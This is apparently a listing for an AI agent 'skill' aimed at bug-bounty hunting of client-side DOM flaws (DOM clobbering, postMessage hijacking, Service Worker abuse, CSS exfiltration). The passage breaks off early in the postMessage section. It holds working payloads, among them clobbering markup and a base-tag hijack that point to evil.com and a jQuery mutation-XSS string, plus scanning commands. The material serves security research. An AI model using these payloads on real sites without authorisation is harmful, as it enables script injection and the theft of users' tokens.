hunt-dom
Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction.
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安装与使用
运行命令前先阅读来源与依赖说明。复制命令不会自动安装或执行。
npx skills add elementalsouls/Claude-BugHunter --skill hunt-dom技能说明
name: hunt-dom description: "Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction." sources: portswigger_research, hackerone_public, github_security_advisories report_count: 14
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Crown Jewel Targets
DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
- DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no
<script>) overwrites a JS global likewindow.configor shadowsdocument.getElementById, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - PostMessage no origin check → session theft / DOM-XSS — a
messagehandler that trustsevent.datawithout validatingevent.originlets an attacker iframe/opener drive privileged actions or feed a sink. - Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope
fetch→ persistent credential capture. - CSS Exfil — attribute-value selectors (
input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
Grounding — public research this is distilled from
- DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- jQuery
htmlPrefilterself-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to.html()/.append()mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential
@importrecursion to drop the per-char-position constraint).
Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.
Attack Surface Signals
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
Phase 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.
Phase 2 — PostMessage Hijacking
Two bug classes: (a) listener trusts cross-origin data → drive a sink/pri
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